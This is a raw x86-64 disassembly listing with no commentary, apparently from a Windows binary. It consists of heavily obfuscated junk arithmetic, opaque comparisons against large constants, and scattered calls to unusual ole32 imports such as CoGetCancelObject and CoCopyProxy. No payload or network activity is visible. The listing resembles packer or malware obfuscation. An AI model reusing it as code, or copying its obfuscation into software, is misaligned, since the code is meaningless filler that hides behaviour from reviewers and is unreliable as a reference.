mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf40], ax
mov eax, dword [0x1401dd004]
mov rcx, qword [rsp + 0x68b8]
mov qword [rsp + 0x6948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6948]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov eax, dword [rsp + 0x389c]
sub eax, 0x54
mov dword [rsp + 0x389c], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
cmp dword [rsp + 0x389c], 0x7c66
ja 0x1400069c6
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov edx, dword [0x1401dd004]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x1400070e8
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0x6950], rax
mov dword [rsp + 0x38b8], 0xff30
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x38bc], eax
cmp dword [rsp + 0x38bc], 0
je 0x140007018
jmp 0x140007048
mov dword [rsp + 0x38c0], 0x26939a6f
mov eax, 0x50d
mov word [rsp + 0xf44], ax
mov byte [rsp + 0x16f], 0x5f
mov dword [rsp + 0x38c4], 0xe99a
jmp 0x1400070e8
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov dword [rsp + 0x38c8], eax
cmp dword [rsp + 0x38c8], 0xc90f83db
je 0x140007075
cmp dword [rsp + 0x38c8], 0xed3403d6
je 0x1400070cd
jmp 0x1400070e8
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov r8, qword [rsp + 0x68b0]
movzx edx, byte [rsp + 0x16f]
movzx ecx, byte [rsp + 0x16f]
call fcn.1401c2870
nop
jmp 0x1400070e8
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3878]
mov ecx, dword [0x1401dd004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x38c0]
sar eax, 0xe
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
shl eax, 4
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38c0]
add eax, 0x69407e87
mov dword [rsp + 0x38c0], eax
movzx eax, word [rsp + 0xf44]
add eax, 0xc46
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
add eax, 0x27
mov byte [rsp + 0x16f], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
or eax, 0x68
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401dd004]
shl eax, cl
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov eax, dword [rsp + 0x387c]
add eax, 0xc9
mov dword [rsp + 0x387c], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
and eax, 0xa2
mov word [rsp + 0xf44], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf40], ax
movsx eax, byte [rsp + 0x16f]
xor eax, 0x2a
mov byte [rsp + 0x16f], al
movsx eax, byte [rsp + 0x16f]
sar eax, 4
mov byte [rsp + 0x16f], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x68b0], rax
cmp dword [rsp + 0x387c], 0x1ab0
jb 0x1400070e8
cmp dword [rsp + 0x38c0], 0x23e89fac
jge 0x14000772d
lea r8, [rsp + 0x6898]
lea rdx, [rsp + 0x2bb10]
mov ecx, 0x52
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x3890], eax
lea rcx, [rsp + 0x3888]
call qword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [rsp + 0x388c], eax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [str.sK:]
mov rdx, qword [0x1401de350]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401c1d14
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [str.sK:]
mov rdx, qword [0x1401de350]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401c1c3a
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401dd008], eax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov edx, dword [rsp + 0x3878]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jb 0x1400078dd
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov qword [rsp + 0x6958], rax
cmp qword [rsp + 0x6958], 0
je 0x1400077fa
jmp 0x14000784a
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov eax, dword [rsp + 0x38c0]
mov dword [rsp + 0x38cc], eax
mov dword [rsp + 0x38d0], 0xe942
jmp 0x1400078db
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov dword [rsp + 0x38d4], eax
cmp dword [rsp + 0x38d4], 0xc24
je 0x140007887
jmp 0x1400078be
mov eax, dword [0x1401dd004]
mov ecx, dword [0x1401dd008]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
movzx r8d, byte [rsp + 0x16f]
movzx edx, byte [rsp + 0x170]
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
jmp 0x1400078db
lea rdx, [rsp + 0xf44]
lea rcx, [rsp + 0x2bb20]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x38d8], eax
jmp 0x140007901
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x38dc], eax
cmp dword [rsp + 0x38dc], 0x60b2
je 0x14000791f
jmp 0x14000795e
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x170]
mov rax, qword [rsp + 0x6890]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x6910]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xf40]
call fcn.1401c2430
nop
jmp 0x1400079e2
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x38e0], al
cmp byte [rsp + 0x38e0], 0xfb
je 0x140007979
jmp 0x1400079cd
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov byte [rsp + 0x129], al
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x6960], rax
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x171], al
mov dword [rsp + 0x38e4], 0x378f
lea rax, [rsp + 0x170]
mov qword [rsp + 0x6968], rax
jmp 0x1400079e2
movzx eax, word [rsp + 0xf44]
add eax, 0xc48
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x68b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov dword [rsp + 0x38e8], 0x7961
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x6970], rax
movabs rax, 0x5e92ec11d988ecb
mov qword [rsp + 0x6978], rax
mov eax, dword [rsp + 0x38c0]
mov dword [rsp + 0x38ec], eax
cmp dword [rsp + 0x38ec], 0x5bff2e09
je 0x1401c1bc9
cmp dword [rsp + 0x38ec], 0x6942238f
je 0x140007a61
jmp 0x1401c1be4
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x6920]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x68b0]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x140007b19
mov rax, qword [rsp + 0x68b0]
mov qword [rsp + 0x6980], rax
movabs rax, 0xa76681ec46efc6ea
cmp qword [rsp + 0x6980], rax
je 0x140007af5
movabs rax, 0xea8e4cb1ab64aa16
cmp qword [rsp + 0x6980], rax
je 0x140007ad2
jmp 0x140007b19
mov rax, qword [rsp + 0x6968]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x16f]
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
jmp 0x140007b19
movzx r8d, byte [rsp + 0x171]
mov rax, qword [rsp + 0x6968]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rax]
call fcn.1401c20f0
nop
mov rax, qword [rsp + 0x6960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov dword [rsp + 0x38f0], 0x9031
mov rax, qword [rsp + 0x6970]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf40], ax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6970]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x38c4]
add eax, 0x70
mov dword [rsp + 0x38c4], eax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
movabs rax, 0x700d1c0eaebc64bf
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0x129]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
shl eax, cl
mov byte [str.sK:], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
movabs rax, 0x1d9d2b41cae829ce
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
or eax, 0x61
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6978]
sar rax, 0x30
mov qword [rsp + 0x6978], rax
mov eax, dword [rsp + 0x38cc]
shl eax, 0x1e
mov dword [rsp + 0x38c0], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
cmp dword [rsp + 0x38c4], 0x1013a
jne 0x140007b47
mov eax, dword [rsp + 0x38c0]
and eax, 0x605dfda
cmp eax, dword [rsp + 0x38cc]
jg 0x140008207
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov byte [rsp + 0x38f4], al
cmp byte [rsp + 0x38f4], 0xfb
je 0x1400080c2
cmp byte [rsp + 0x38f4], 0x2b
je 0x1400081e7
jmp 0x140008202
lea rax, [rsp + 0x16f]
mov qword [rsp + 0x6988], rax
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov dword [rsp + 0x38f8], eax
cmp dword [rsp + 0x38f8], 0
je 0x140008103
cmp dword [rsp + 0x38f8], 0x3d3969af
je 0x1400081be
jmp 0x1400081e5
mov rax, qword [rsp + 0x6978]
mov qword [rsp + 0x6990], rax
cmp qword [rsp + 0x6990], 0x526f
je 0x140008123
jmp 0x14000819f
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov qword [rsp + 0x6998], rax
movabs rax, 0xf1b8147bbb27f388
cmp qword [rsp + 0x6998], rax
je 0x14000814c
jmp 0x140008182
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
add eax, 0x1b7
mov word [rsp + 0xf44], ax
jmp 0x140008192
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0xf48], ax
mov dword [rsp + 0x38fc], 0xd476
jmp 0x1400081bc
lea rdx, [rsp + 0x3878]
lea rcx, [rsp + 0x6968]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x3900], eax
jmp 0x1400081e5
mov rax, qword [rsp + 0x6950]
mov r8, qword [rax]
mov rax, qword [rsp + 0x6988]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x6988]
movzx ecx, byte [rax]
call fcn.1401c2870
nop
jmp 0x140008202
